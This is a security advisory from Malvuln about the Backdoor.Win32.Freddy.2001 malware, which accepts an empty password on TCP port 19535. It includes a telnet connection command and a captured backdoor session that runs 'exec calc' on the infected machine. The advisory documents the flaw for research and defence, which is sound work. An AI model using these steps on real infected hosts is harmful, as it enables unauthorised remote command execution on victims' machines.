Backdoor.Win32.Freddy.2001 malware suffers from authentication bypass and remote command execution vulnerabilities.
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/434923afc32a7bc7355ed9a5224b9273.txt
Contact: [email protected]
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP port 19535. Third-party intruders who can reach an infected host can gain access using an empty password and run commands made available by the backdoor using TELNET.
Vuln ID: MVID-2022-0486
Dropped files: sycon2.exe
#Note: use TELNET
telnet.exe x.x.x.x 19535
Computer net name: DESKTOP-2C3JQHO
IP address: 192.168.18.129
Local date & time: 2/3/2022 2:45:46 AM
Hackers connected: 2
$y(0n v.2.3.2 by Meerkat Systems | NLG
Window 6976: dump
Window 6976: tmp
Window 1956: Administrator: Administrator Command Prompt
Window 6976: Program Manager
Sycon> exec calc
Windows is going down...
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).